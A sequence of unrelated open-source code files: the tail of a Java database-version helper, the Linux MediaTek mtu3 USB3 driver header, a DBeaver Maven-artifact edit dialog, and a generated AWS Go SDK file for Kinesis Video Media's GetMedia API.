CSS10000/10.0.1.1 beta. If the alternate version format is not // specified, // databaseProductVersion_ will just be set to the srvrlslvl. // final fallback will be the product id. // this is the value returned with the getDatabaseProductVersion() // metadata call int dbVersionOffset = 0; if (srvrlslv != null) { dbVersionOffset = srvrlslv.indexOf('/') + 1; // if there was no '/' dbVersionOffset will just be 0 databaseProductVersion_ = srvrlslv.substring(dbVersionOffset); } if (databaseProductVersion_ == null) { databaseProductVersion_ = productID; } } boolean greaterThanOrEqualTo(int versionLevel, int releaseLevel, int modificationLevel) { if (versionLevel_ > versionLevel) { return true; } else if (versionLevel_ == versionLevel) { if (releaseLevel_ > releaseLevel) { return true; } else if (releaseLevel_ == releaseLevel) { if (modificationLevel_ >= modificationLevel) { return true; } } } return false; } boolean lessThan(int versionLevel, int releaseLevel, int modificationLevel) { if (versionLevel_ < versionLevel) { return true; } else if (versionLevel_ == versionLevel) { if (releaseLevel_ < releaseLevel) { return true; } else if (releaseLevel_ == releaseLevel) { if (modificationLevel_ < modificationLevel) { return true; } } } return false; } }
{ "pile_set_name": "Github" }
/* SPDX-License-Identifier: GPL-2.0 */ /* * mtu3.h - MediaTek USB3 DRD header * * Copyright (C) 2016 MediaTek Inc. * * Author: Chunfeng Yun <chunfeng.yun@mediatek.com> */ #ifndef __MTU3_H__ #define __MTU3_H__ #include <linux/device.h> #include <linux/dmapool.h> #include <linux/extcon.h> #include <linux/interrupt.h> #include <linux/list.h> #include <linux/phy/phy.h> #include <linux/regulator/consumer.h> #include <linux/usb.h> #include <linux/usb/ch9.h> #include <linux/usb/gadget.h> #include <linux/usb/otg.h> struct mtu3; struct mtu3_ep; struct mtu3_request; #include "mtu3_hw_regs.h" #include "mtu3_qmu.h" #define MU3D_EP_TXCR0(epnum) (U3D_TX1CSR0 + (((epnum) - 1) * 0x10)) #define MU3D_EP_TXCR1(epnum) (U3D_TX1CSR1 + (((epnum) - 1) * 0x10)) #define MU3D_EP_TXCR2(epnum) (U3D_TX1CSR2 + (((epnum) - 1) * 0x10)) #define MU3D_EP_RXCR0(epnum) (U3D_RX1CSR0 + (((epnum) - 1) * 0x10)) #define MU3D_EP_RXCR1(epnum) (U3D_RX1CSR1 + (((epnum) - 1) * 0x10)) #define MU3D_EP_RXCR2(epnum) (U3D_RX1CSR2 + (((epnum) - 1) * 0x10)) #define USB_QMU_TQHIAR(epnum) (U3D_TXQHIAR1 + (((epnum) - 1) * 0x4)) #define USB_QMU_RQHIAR(epnum) (U3D_RXQHIAR1 + (((epnum) - 1) * 0x4)) #define USB_QMU_RQCSR(epnum) (U3D_RXQCSR1 + (((epnum) - 1) * 0x10)) #define USB_QMU_RQSAR(epnum) (U3D_RXQSAR1 + (((epnum) - 1) * 0x10)) #define USB_QMU_RQCPR(epnum) (U3D_RXQCPR1 + (((epnum) - 1) * 0x10)) #define USB_QMU_TQCSR(epnum) (U3D_TXQCSR1 + (((epnum) - 1) * 0x10)) #define USB_QMU_TQSAR(epnum) (U3D_TXQSAR1 + (((epnum) - 1) * 0x10)) #define USB_QMU_TQCPR(epnum) (U3D_TXQCPR1 + (((epnum) - 1) * 0x10)) #define SSUSB_U3_CTRL(p) (U3D_SSUSB_U3_CTRL_0P + ((p) * 0x08)) #define SSUSB_U2_CTRL(p) (U3D_SSUSB_U2_CTRL_0P + ((p) * 0x08)) #define MTU3_DRIVER_NAME "mtu3" #define DMA_ADDR_INVALID (~(dma_addr_t)0) #define MTU3_EP_ENABLED BIT(0) #define MTU3_EP_STALL BIT(1) #define MTU3_EP_WEDGE BIT(2) #define MTU3_EP_BUSY BIT(3) #define MTU3_U3_IP_SLOT_DEFAULT 2 #define MTU3_U2_IP_SLOT_DEFAULT 1 /** * IP TRUNK version * from 0x1003 version, USB3 Gen2 is supported, two changes affect driver: * 1. MAXPKT and MULTI bits layout of TXCSR1 and RXCSR1 are adjusted, * but not backward compatible * 2. QMU extend buffer length supported */ #define MTU3_TRUNK_VERS_1003 0x1003 /** * Normally the device works on HS or SS, to simplify fifo management, * devide fifo into some 512B parts, use bitmap to manage it; And * 128 bits size of bitmap is large enough, that means it can manage * up to 64KB fifo size. * NOTE: MTU3_EP_FIFO_UNIT should be power of two */ #define MTU3_EP_FIFO_UNIT (1 << 9) #define MTU3_FIFO_BIT_SIZE 128 #define MTU3_U2_IP_EP0_FIFO_SIZE 64 /** * Maximum size of ep0 response buffer for ch9 requests, * the SET_SEL request uses 6 so far, and GET_STATUS is 2 */ #define EP0_RESPONSE_BUF 6 /* device operated link and speed got from DEVICE_CONF register */ enum mtu3_speed { MTU3_SPEED_INACTIVE = 0, MTU3_SPEED_FULL = 1, MTU3_SPEED_HIGH = 3, MTU3_SPEED_SUPER = 4, MTU3_SPEED_SUPER_PLUS = 5, }; /** * @MU3D_EP0_STATE_SETUP: waits for SETUP or received a SETUP * without data stage. * @MU3D_EP0_STATE_TX: IN data stage * @MU3D_EP0_STATE_RX: OUT data stage * @MU3D_EP0_STATE_TX_END: the last IN data is transferred, and * waits for its completion interrupt * @MU3D_EP0_STATE_STALL: ep0 is in stall status, will be auto-cleared * after receives a SETUP. */ enum mtu3_g_ep0_state { MU3D_EP0_STATE_SETUP = 1, MU3D_EP0_STATE_TX, MU3D_EP0_STATE_RX, MU3D_EP0_STATE_TX_END, MU3D_EP0_STATE_STALL, }; /** * MTU3_DR_FORCE_NONE: automatically switch host and periperal mode * by IDPIN signal. * MTU3_DR_FORCE_HOST: force to enter host mode and override OTG * IDPIN signal. * MTU3_DR_FORCE_DEVICE: force to enter peripheral mode. */ enum mtu3_dr_force_mode { MTU3_DR_FORCE_NONE = 0, MTU3_DR_FORCE_HOST, MTU3_DR_FORCE_DEVICE, }; /** * @base: the base address of fifo * @limit: the bitmap size in bits * @bitmap: fifo bitmap in unit of @MTU3_EP_FIFO_UNIT */ struct mtu3_fifo_info { u32 base; u32 limit; DECLARE_BITMAP(bitmap, MTU3_FIFO_BIT_SIZE); }; /** * General Purpose Descriptor (GPD): * The format of TX GPD is a little different from RX one. * And the size of GPD is 16 bytes. * * @dw0_info: * bit0: Hardware Own (HWO) * bit1: Buffer Descriptor Present (BDP), always 0, BD is not supported * bit2: Bypass (BPS), 1: HW skips this GPD if HWO = 1 * bit6: [EL] Zero Length Packet (ZLP), moved from @dw3_info[29] * bit7: Interrupt On Completion (IOC) * bit[31:16]: ([EL] bit[31:12]) allow data buffer length (RX ONLY), * the buffer length of the data to receive * bit[23:16]: ([EL] bit[31:24]) extension address (TX ONLY), * lower 4 bits are extension bits of @buffer, * upper 4 bits are extension bits of @next_gpd * @next_gpd: Physical address of the next GPD * @buffer: Physical address of the data buffer * @dw3_info: * bit[15:0]: ([EL] bit[19:0]) data buffer length, * (TX): the buffer length of the data to transmit * (RX): The total length of data received * bit[23:16]: ([EL] bit[31:24]) extension address (RX ONLY), * lower 4 bits are extension bits of @buffer, * upper 4 bits are extension bits of @next_gpd * bit29: ([EL] abandoned) Zero Length Packet (ZLP) (TX ONLY) */ struct qmu_gpd { __le32 dw0_info; __le32 next_gpd; __le32 buffer; __le32 dw3_info; } __packed; /** * dma: physical base address of GPD segment * start: virtual base address of GPD segment * end: the last GPD element * enqueue: the first empty GPD to use * dequeue: the first completed GPD serviced by ISR * NOTE: the size of GPD ring should be >= 2 */ struct mtu3_gpd_ring { dma_addr_t dma; struct qmu_gpd *start; struct qmu_gpd *end; struct qmu_gpd *enqueue; struct qmu_gpd *dequeue; }; /** * @vbus: vbus 5V used by host mode * @edev: external connector used to detect vbus and iddig changes * @vbus_nb: notifier for vbus detection * @vbus_work : work of vbus detection notifier, used to avoid sleep in * notifier callback which is atomic context * @vbus_event : event of vbus detecion notifier * @id_nb : notifier for iddig(idpin) detection * @id_work : work of iddig detection notifier * @id_event : event of iddig detecion notifier * @role_sw : use USB Role Switch to support dual-role switch, can't use * extcon at the same time, and extcon is deprecated. * @role_sw_used : true when the USB Role Switch is used. * @is_u3_drd: whether port0 supports usb3.0 dual-role device or not * @manual_drd_enabled: it's true when supports dual-role device by debugfs * to switch host/device modes depending on user input. */ struct otg_switch_mtk { struct regulator *vbus; struct extcon_dev *edev; struct notifier_block vbus_nb; struct work_struct vbus_work; unsigned long vbus_event; struct notifier_block id_nb; struct work_struct id_work; unsigned long id_event; struct usb_role_switch *role_sw; bool role_sw_used; bool is_u3_drd; bool manual_drd_enabled; }; /** * @mac_base: register base address of device MAC, exclude xHCI's * @ippc_base: register base address of IP Power and Clock interface (IPPC) * @vusb33: usb3.3V shared by device/host IP * @sys_clk: system clock of mtu3, shared by device/host IP * @ref_clk: reference clock * @mcu_clk: mcu_bus_ck clock for AHB bus etc * @dma_clk: dma_bus_ck clock for AXI bus etc * @dr_mode: works in which mode: * host only, device only or dual-role mode * @u2_ports: number of usb2.0 host ports * @u3_ports: number of usb3.0 host ports * @u3p_dis_msk: mask of disabling usb3 ports, for example, bit0==1 to * disable u3port0, bit1==1 to disable u3port1,... etc * @dbgfs_root: only used when supports manual dual-role switch via debugfs * @uwk_en: it's true when supports remote wakeup in host mode * @uwk: syscon including usb wakeup glue layer between SSUSB IP and SPM * @uwk_reg_base: the base address of the wakeup glue layer in @uwk * @uwk_vers: the version of the wakeup glue layer */ struct ssusb_mtk { struct device *dev; struct mtu3 *u3d; void __iomem *mac_base; void __iomem *ippc_base; struct phy **phys; int num_phys; /* common power & clock */ struct regulator *vusb33; struct clk *sys_clk; struct clk *ref_clk; struct clk *mcu_clk; struct clk *dma_clk; /* otg */ struct otg_switch_mtk otg_switch; enum usb_dr_mode dr_mode; bool is_host; int u2_ports; int u3_ports; int u3p_dis_msk; struct dentry *dbgfs_root; /* usb wakeup for host mode */ bool uwk_en; struct regmap *uwk; u32 uwk_reg_base; u32 uwk_vers; }; /** * @fifo_size: it is (@slot + 1) * @fifo_seg_size * @fifo_seg_size: it is roundup_pow_of_two(@maxp) */ struct mtu3_ep { struct usb_ep ep; char name[12]; struct mtu3 *mtu; u8 epnum; u8 type; u8 is_in; u16 maxp; int slot; u32 fifo_size; u32 fifo_addr; u32 fifo_seg_size; struct mtu3_fifo_info *fifo; struct list_head req_list; struct mtu3_gpd_ring gpd_ring; const struct usb_ss_ep_comp_descriptor *comp_desc; const struct usb_endpoint_descriptor *desc; int flags; }; struct mtu3_request { struct usb_request request; struct list_head list; struct mtu3_ep *mep; struct mtu3 *mtu; struct qmu_gpd *gpd; int epnum; }; static inline struct ssusb_mtk *dev_to_ssusb(struct device *dev) { return dev_get_drvdata(dev); } /** * struct mtu3 - device driver instance data. * @slot: MTU3_U2_IP_SLOT_DEFAULT for U2 IP only, * MTU3_U3_IP_SLOT_DEFAULT for U3 IP * @may_wakeup: means device's remote wakeup is enabled * @is_self_powered: is reported in device status and the config descriptor * @delayed_status: true when function drivers ask for delayed status * @gen2cp: compatible with USB3 Gen2 IP * @ep0_req: dummy request used while handling standard USB requests * for GET_STATUS and SET_SEL * @setup_buf: ep0 response buffer for GET_STATUS and SET_SEL requests */ struct mtu3 { spinlock_t lock; struct ssusb_mtk *ssusb; struct device *dev; void __iomem *mac_base; void __iomem *ippc_base; int irq; struct mtu3_fifo_info tx_fifo; struct mtu3_fifo_info rx_fifo; struct mtu3_ep *ep_array; struct mtu3_ep *in_eps; struct mtu3_ep *out_eps; struct mtu3_ep *ep0; int num_eps; int slot; int active_ep; struct dma_pool *qmu_gpd_pool; enum mtu3_g_ep0_state ep0_state; struct usb_gadget g; /* the gadget */ struct usb_gadget_driver *gadget_driver; struct mtu3_request ep0_req; u8 setup_buf[EP0_RESPONSE_BUF]; enum usb_device_speed max_speed; enum usb_device_speed speed; unsigned is_active:1; unsigned may_wakeup:1; unsigned is_self_powered:1; unsigned test_mode:1; unsigned softconnect:1; unsigned u1_enable:1; unsigned u2_enable:1; unsigned is_u3_ip:1; unsigned delayed_status:1; unsigned gen2cp:1; u8 address; u8 test_mode_nr; u32 hw_version; }; static inline struct mtu3 *gadget_to_mtu3(struct usb_gadget *g) { return container_of(g, struct mtu3, g); } static inline int is_first_entry(const struct list_head *list, const struct list_head *head) { return list_is_last(head, list); } static inline struct mtu3_request *to_mtu3_request(struct usb_request *req) { return req ? container_of(req, struct mtu3_request, request) : NULL; } static inline struct mtu3_ep *to_mtu3_ep(struct usb_ep *ep) { return ep ? container_of(ep, struct mtu3_ep, ep) : NULL; } static inline struct mtu3_request *next_request(struct mtu3_ep *mep) { return list_first_entry_or_null(&mep->req_list, struct mtu3_request, list); } static inline void mtu3_writel(void __iomem *base, u32 offset, u32 data) { writel(data, base + offset); } static inline u32 mtu3_readl(void __iomem *base, u32 offset) { return readl(base + offset); } static inline void mtu3_setbits(void __iomem *base, u32 offset, u32 bits) { void __iomem *addr = base + offset; u32 tmp = readl(addr); writel((tmp | (bits)), addr); } static inline void mtu3_clrbits(void __iomem *base, u32 offset, u32 bits) { void __iomem *addr = base + offset; u32 tmp = readl(addr); writel((tmp & ~(bits)), addr); } int ssusb_check_clocks(struct ssusb_mtk *ssusb, u32 ex_clks); struct usb_request *mtu3_alloc_request(struct usb_ep *ep, gfp_t gfp_flags); void mtu3_free_request(struct usb_ep *ep, struct usb_request *req); void mtu3_req_complete(struct mtu3_ep *mep, struct usb_request *req, int status); int mtu3_config_ep(struct mtu3 *mtu, struct mtu3_ep *mep, int interval, int burst, int mult); void mtu3_deconfig_ep(struct mtu3 *mtu, struct mtu3_ep *mep); void mtu3_ep_stall_set(struct mtu3_ep *mep, bool set); void mtu3_ep0_setup(struct mtu3 *mtu); void mtu3_start(struct mtu3 *mtu); void mtu3_stop(struct mtu3 *mtu); void mtu3_dev_on_off(struct mtu3 *mtu, int is_on); void mtu3_set_speed(struct mtu3 *mtu, enum usb_device_speed speed); int mtu3_gadget_setup(struct mtu3 *mtu); void mtu3_gadget_cleanup(struct mtu3 *mtu); void mtu3_gadget_reset(struct mtu3 *mtu); void mtu3_gadget_suspend(struct mtu3 *mtu); void mtu3_gadget_resume(struct mtu3 *mtu); void mtu3_gadget_disconnect(struct mtu3 *mtu); irqreturn_t mtu3_ep0_isr(struct mtu3 *mtu); extern const struct usb_ep_ops mtu3_ep0_ops; #endif
{ "pile_set_name": "Github" }
/* * DBeaver - Universal Database Manager * Copyright (C) 2010-2020 DBeaver Corp and others * Copyright (C) 2011-2012 Eugene Fradkin (eugene.fradkin@gmail.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jkiss.dbeaver.ui.dialogs.driver; import org.eclipse.jface.dialogs.Dialog; import org.eclipse.jface.dialogs.IDialogConstants; import org.eclipse.swt.SWT; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.*; import org.jkiss.dbeaver.model.connection.DBPDriverLibrary; import org.jkiss.dbeaver.registry.driver.DriverDescriptor; import org.jkiss.dbeaver.registry.driver.DriverLibraryMavenArtifact; import org.jkiss.dbeaver.registry.maven.MavenArtifactReference; import org.jkiss.dbeaver.ui.UIUtils; import org.jkiss.dbeaver.ui.internal.UIConnectionMessages; import org.jkiss.utils.CommonUtils; /** * EditMavenArtifactDialog */ class EditMavenArtifactDialog extends Dialog { private DriverLibraryMavenArtifact library; private Text groupText; private Text artifactText; private Text classifierText; private Combo versionText; private boolean ignoreDependencies; public EditMavenArtifactDialog(Shell shell, DriverDescriptor driver, DriverLibraryMavenArtifact library) { super(shell); this.library = library == null ? new DriverLibraryMavenArtifact(driver, DBPDriverLibrary.FileType.jar, "", MavenArtifactReference.VERSION_PATTERN_RELEASE) : library; } public DriverLibraryMavenArtifact getLibrary() { return library; } @Override protected boolean isResizable() { return true; } @Override protected Control createDialogArea(Composite parent) { getShell().setText(UIConnectionMessages.dialog_edit_driver_edit_maven_title); Composite composite = (Composite) super.createDialogArea(parent); ((GridLayout)composite.getLayout()).numColumns = 2; GridData gd = new GridData(GridData.FILL_HORIZONTAL); gd.widthHint = 200; groupText = UIUtils.createLabelText(composite, UIConnectionMessages.dialog_edit_driver_edit_maven_group_id_label, library.getReference().getGroupId()); groupText.setLayoutData(gd); artifactText = UIUtils.createLabelText(composite, UIConnectionMessages.dialog_edit_driver_edit_maven_artifact_id_label, library.getReference().getArtifactId()); artifactText.setLayoutData(gd); classifierText = UIUtils.createLabelText(composite, UIConnectionMessages.dialog_edit_driver_edit_maven_classfier_label, CommonUtils.notEmpty(library.getReference().getClassifier())); classifierText.setLayoutData(gd); versionText = UIUtils.createLabelCombo(composite, UIConnectionMessages.dialog_edit_driver_edit_maven_version_label, SWT.DROP_DOWN | SWT.BORDER); versionText.setLayoutData(gd); versionText.setText(library.getVersion()); versionText.add(MavenArtifactReference.VERSION_PATTERN_RELEASE); versionText.add(MavenArtifactReference.VERSION_PATTERN_LATEST); Button ignoreDependenciesCheckbox = UIUtils.createCheckbox(composite, "Ignore transient dependencies", "Do not include library dependencies", library.isIgnoreDependencies(), 2); ignoreDependenciesCheckbox.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { ignoreDependencies = ignoreDependenciesCheckbox.getSelection(); } }); ModifyListener ml = e -> updateButtons(); groupText.addModifyListener(ml); artifactText.addModifyListener(ml); classifierText.addModifyListener(ml); versionText.addModifyListener(ml); return composite; } @Override protected void createButtonsForButtonBar(Composite parent) { super.createButtonsForButtonBar(parent); updateButtons(); } private void updateButtons() { getButton(IDialogConstants.OK_ID).setEnabled( !CommonUtils.isEmpty(groupText.getText()) && !CommonUtils.isEmpty(artifactText.getText()) && !CommonUtils.isEmpty(versionText.getText()) ); } @Override protected void okPressed() { String classifier = classifierText.getText(); library.setReference( new MavenArtifactReference( groupText.getText(), artifactText.getText(), CommonUtils.isEmpty(classifier) ? null : classifier, versionText.getText())); library.setIgnoreDependencies(ignoreDependencies); super.okPressed(); } }
{ "pile_set_name": "Github" }
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. package kinesisvideomedia import ( "io" "time" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/awsutil" "github.com/aws/aws-sdk-go/aws/request" ) const opGetMedia = "GetMedia" // GetMediaRequest generates a "aws/request.Request" representing the // client's request for the GetMedia operation. The "output" return // value will be populated with the request's response once the request completes // successfuly. // // Use "Send" method on the returned Request to send the API call to the service. // the "output" return value is not valid until after Send returns without error. // // See GetMedia for more information on using the GetMedia // API call, and error handling. // // This method is useful when you want to inject custom logic or configuration // into the SDK's request lifecycle. Such as custom headers, or retry logic. // // // // Example sending a request using the GetMediaRequest method. // req, resp := client.GetMediaRequest(params) // // err := req.Send() // if err == nil { // resp is now filled // fmt.Println(resp) // } // // See also, https://docs.aws.amazon.com/goto/WebAPI/kinesis-video-media-2017-09-30/GetMedia func (c *KinesisVideoMedia) GetMediaRequest(input *GetMediaInput) (req *request.Request, output *GetMediaOutput) { op := &request.Operation{ Name: opGetMedia, HTTPMethod: "POST", HTTPPath: "/getMedia", } if input == nil { input = &GetMediaInput{} } output = &GetMediaOutput{} req = c.newRequest(op, input, output) return } // GetMedia API operation for Amazon Kinesis Video Streams Media. // // Use this API to retrieve media content from a Kinesis video stream. In the // request, you identify stream name or stream Amazon Resource Name (ARN), and // the starting chunk. Kinesis Video Streams then returns a stream of chunks // in order by fragment number. // // You must first call the GetDataEndpoint API to get an endpoint to which you // can then send the GetMedia requests. // // When you put media data (fragments) on a stream, Kinesis Video Streams stores // each incoming fragment and related metadata in what is called a "chunk." // For more information, see . The GetMedia API returns a stream of these chunks // starting from the chunk that you specify in the request. // // The following limits apply when using the GetMedia API: // // * A client can call GetMedia up to five times per second per stream. // // * Kinesis Video Streams sends media data at a rate of up to 25 megabytes // per second (or 200 megabits per second) during a GetMedia session. // // Returns awserr.Error for service API and SDK errors. Use runtime type assertions // with awserr.Error's Code and Message methods to get detailed information about // the error. // // See the AWS API reference guide for Amazon Kinesis Video Streams Media's // API operation GetMedia for usage and error information. // // Returned Error Codes: // * ErrCodeResourceNotFoundException "ResourceNotFoundException" // Status Code: 404, The stream with the given name does not exist. // // * ErrCodeNotAuthorizedException "NotAuthorizedException" // Status Code: 403, The caller is not authorized to perform an operation on // the given stream, or the token has expired. // // * ErrCodeInvalidEndpointException "InvalidEndpointException" // Status Code: 400, Caller used wrong endpoint to write data to a stream. On // receiving such an exception, the user must call GetDataEndpoint with AccessMode // set to "READ" and use the endpoint Kinesis Video returns in the next GetMedia // call. // // * ErrCodeClientLimitExceededException "ClientLimitExceededException" // Kinesis Video Streams has throttled the request because you have exceeded // the limit of allowed client calls. Try making the call later. // // * ErrCodeConnectionLimitExceededException "ConnectionLimitExceededException" // Kinesis Video Streams has throttled the request because you have exceeded // the limit of allowed client connections. // // * ErrCodeInvalidArgumentException "InvalidArgumentException" // The value for this input parameter is invalid. // // See also, https://docs.aws.amazon.com/goto/WebAPI/kinesis-video-media-2017-09-30/GetMedia func (c *KinesisVideoMedia) GetMedia(input *GetMediaInput) (*GetMediaOutput, error) { req, out := c.GetMediaRequest(input) return out, req.Send() } // GetMediaWithContext is the same as GetMedia with the addition of // the ability to pass a context and additional request options. // // See GetMedia for details on how to use this API operation. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *KinesisVideoMedia) GetMediaWithContext(ctx aws.Context, input *GetMediaInput, opts ...request.Option) (*GetMediaOutput, error) { req, out := c.GetMediaRequest(input) req.SetContext(ctx) req.ApplyOptions(opts...) return out, req.Send() } type GetMediaInput struct { _ struct{} `type:"structure"` // Identifies the starting chunk to get from the specified stream. // // StartSelector is a required field StartSelector *StartSelector `type:"structure" required:"true"` // The ARN of the stream from where you want to get the media content. If you // don't specify the streamARN, you must specify the streamName. StreamARN *string `min:"1" type:"string"` // The Kinesis video stream name from where you want to get the media content. // If you don't specify the streamName, you must specify the streamARN. StreamName *string `min:"1" type:"string"` } // String returns the string representation func (s GetMediaInput) String() string { return awsutil.Prettify(s) } // GoString returns the string representation func (s GetMediaInput) GoString() string { return s.String() } // Validate inspects the fields of the type to determine if they are valid. func (s *GetMediaInput) Validate() error { invalidParams := request.ErrInvalidParams{Context: "GetMediaInput"} if s.StartSelector == nil { invalidParams.Add(request.NewErrParamRequired("StartSelector")) } if s.StreamARN != nil && len(*s.StreamARN) < 1 { invalidParams.Add(request.NewErrParamMinLen("StreamARN", 1)) } if s.StreamName != nil && len(*s.StreamName) < 1 { invalidParams.Add(request.NewErrParamMinLen("StreamName", 1)) } if s.StartSelector != nil { if err := s.StartSelector.Validate(); err != nil { invalidParams.AddNested("StartSelector", err.(request.ErrInvalidParams)) } } if invalidParams.Len() > 0 { return invalidParams } return nil } // SetStartSelector sets the StartSelector field's value. func (s *GetMediaInput) SetStartSelector(v *StartSelector) *GetMediaInput { s.StartSelector = v return s } // SetStreamARN sets the StreamARN field's value. func (s *GetMediaInput) SetStreamARN(v string) *GetMediaInput { s.StreamARN = &v return s } // SetStreamName sets the StreamName field's value. func (s *GetMediaInput) SetStreamName(v string) *GetMediaInput { s.StreamName = &v return s } type GetMediaOutput struct { _ struct{} `type:"structure" payload:"Payload"` // The content type of the requested media. ContentType *string `location:"header" locationName:"Content-Type" min:"1" type:"string"` // The payload Kinesis Video Streams returns is a sequence of chunks from the // specified stream. For information about the chunks, see . The chunks that // Kinesis Video Streams returns in the GetMedia call also include the following // additional Matroska (MKV) tags: // // * AWS_KINESISVIDEO_CONTINUATION_TOKEN (UTF-8 string) - In the event your // GetMedia call terminates, you can use this continuation token in your // next request to get the next chunk where the last request terminated. // // * AWS_KINESISVIDEO_MILLIS_BEHIND_NOW (UTF-8 string) - Client applications // can use this tag value to determine how far behind the chunk returned // in the response is from the latest chunk on the stream. // // * AWS_KINESISVIDEO_FRAGMENT_NUMBER - Fragment number returned in the chunk. // // * AWS_KINESISVIDEO_SERVER_TIMESTAMP - Server time stamp of the fragment. // // * AWS_KINESISVIDEO_PRODUCER_TIMESTAMP - Producer time stamp of the fragment. // // The following tags will be present if an error occurs: // // * AWS_KINESISVIDEO_ERROR_CODE - String description of an error that caused // GetMedia to stop. // // * AWS_KINESISVIDEO_ERROR_ID: Integer code of the error. // // The error codes are as follows: // // * 3002 - Error writing to the stream // // * 4000 - Requested fragment is not found // // * 4500 - Access denied for the stream's KMS key // // * 4501 - Stream's KMS key is disabled // // * 4502 - Validation error on the Stream's KMS key // // * 4503 - KMS key specified in the stream is unavailable // // * 4504 - Invalid usage of the KMS key specified in the stream // // * 4505 - Invalid state of the KMS key specified in the stream // // * 4506 - Unable to find the KMS key specified in the stream // // * 5000 - Internal error Payload io.ReadCloser `type:"blob"` } // String returns the string representation func (s GetMediaOutput) String() string { return awsutil.Prettify(s) } // GoString returns the string representation func (s GetMediaOutput) GoString() string { return s.String() } // SetContentType sets the ContentType field's value. func (s *GetMediaOutput) SetContentType(v string) *GetMediaOutput { s.ContentType = &v return s } // SetPayload sets the Payload field's value. func (s *GetMediaOutput) SetPayload(v io.ReadCloser) *GetMediaOutput { s.Payload = v return s } // Identifies the chunk on the Kinesis video stream where you want the GetMedia // API to start returning media data. You have the following options to identify // the starting chunk: // // * Choose the latest (or oldest) chunk. // // * Identify a specific chunk. You can identify a specific chunk either // by providing a fragment number or time stamp (server or producer). // // * Each chunk's metadata includes a continuation token as a Matroska (MKV) // tag (AWS_KINESISVIDEO_CONTINUATION_TOKEN). If your previous GetMedia request // terminated, you can use this tag value in your next GetMedia request. // The API then starts returning chunks starting where the last API ended. type StartSelector struct { _ struct{} `type:"structure"` // Specifies the fragment number from where you want the GetMedia API to start // returning the fragments. AfterFragmentNumber *string `min:"1" type:"string"` // Continuation token that Kinesis Video Streams returned in the previous GetMedia // response. The GetMedia API then starts with the chunk identified by the continuation // token. ContinuationToken *string `min:"1" type:"string"` // Identifies the fragment on the Kinesis video stream where you want to start // getting the data from. // // * NOW - Start with the latest chunk on the stream. // // * EARLIEST - Start with earliest available chunk on the stream. // // * FRAGMENT_NUMBER - Start with the chunk containing the specific fragment. // You must also specify the StartFragmentNumber. // // * PRODUCER_TIMESTAMP or SERVER_TIMESTAMP - Start with the chunk containing // a fragment with the specified producer or server time stamp. You specify // the time stamp by adding StartTimestamp. // // * CONTINUATION_TOKEN - Read using the specified continuation token. // // If you choose the NOW, EARLIEST, or CONTINUATION_TOKEN as the startSelectorType, // you don't provide any additional information in the startSelector. // // StartSelectorType is a required field StartSelectorType *string `type:"string" required:"true" enum:"StartSelectorType"` // A time stamp value. This value is required if you choose the PRODUCER_TIMESTAMP // or the SERVER_TIMESTAMP as the startSelectorType. The GetMedia API then starts // with the chunk containing the fragment that has the specified time stamp. StartTimestamp *time.Time `type:"timestamp" timestampFormat:"unix"` } // String returns the string representation func (s StartSelector) String() string { return awsutil.Prettify(s) } // GoString returns the string representation func (s StartSelector) GoString() string { return s.String() } // Validate inspects the fields of the type to determine if they are valid. func (s *StartSelector) Validate() error { invalidParams := request.ErrInvalidParams{Context: "StartSelector"} if s.AfterFragmentNumber != nil && len(*s.AfterFragmentNumber) < 1 { invalidParams.Add(request.NewErrParamMinLen("AfterFragmentNumber", 1)) } if s.ContinuationToken != nil && len(*s.ContinuationToken) < 1 { invalidParams.Add(request.NewErrParamMinLen("ContinuationToken", 1)) } if s.StartSelectorType == nil { invalidParams.Add(request.NewErrParamRequired("StartSelectorType")) } if invalidParams.Len() > 0 { return invalidParams } return nil } // SetAfterFragmentNumber sets the AfterFragmentNumber field's value. func (s *StartSelector) SetAfterFragmentNumber(v string) *StartSelector { s.AfterFragmentNumber = &v return s } // SetContinuationToken sets the ContinuationToken field's value. func (s *StartSelector) SetContinuationToken(v string) *StartSelector { s.ContinuationToken = &v return s } // SetStartSelectorType sets the StartSelectorType field's value. func (s *StartSelector) SetStartSelectorType(v string) *StartSelector { s.StartSelectorType = &v return s } // SetStartTimestamp sets the StartTimestamp field's value. func (s *StartSelector) SetStartTimestamp(v time.Time) *StartSelector { s.StartTimestamp = &v return s } const ( // StartSelectorTypeFragmentNumber is a StartSelectorType enum value StartSelectorTypeFragmentNumber = "FRAGMENT_NUMBER" // StartSelectorTypeServerTimestamp is a StartSelectorType enum value StartSelectorTypeServerTimestamp = "SERVER_TIMESTAMP" // StartSelectorTypeProducerTimestamp is a StartSelectorType enum value StartSelectorTypeProducerTimestamp = "PRODUCER_TIMESTAMP" // StartSelectorTypeNow is a StartSelectorType enum value StartSelectorTypeNow = "NOW" // StartSelectorTypeEarliest is a StartSelectorType enum value StartSelectorTypeEarliest = "EARLIEST" // StartSelectorTypeContinuationToken is a StartSelectorType enum value StartSelectorTypeContinuationToken = "CONTINUATION_TOKEN" )
{ "pile_set_name": "Github" }
